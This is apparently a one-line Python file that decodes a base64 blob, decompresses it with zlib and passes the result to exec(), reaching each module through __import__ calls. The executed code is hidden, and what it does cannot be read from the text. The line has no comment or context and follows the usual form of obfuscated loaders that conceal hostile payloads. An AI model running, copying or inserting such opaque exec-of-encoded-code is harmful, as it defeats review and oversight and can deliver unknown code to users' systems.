exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckmA3tUgsuVhDxICKC601E2mR2DU2TkGS1Kv53N2TxMsN78+bNh569CwlHJydI/NvokY9DhK7lMYWDTDzpGdDOBbxgbXEY7B5oU7MNqlL4OsYq9qVZlETX/IS3jzf3b9vnp9vrB5Z1QjprQSZKSSeS9MLug5uEdoQ3F/W6YVk1BhgmVMEiwadsn+eLaAA8PWfI9GUtcbB+kBMlV3eERxFAftCWsZf6Fan+hA1Dn+/aADZgqWKX5minzv6rq0IzBAtImi8XCqSbfYAYaXmCGLs2kwqykv+QSDbxl6E/U3hh0Q==')[0])))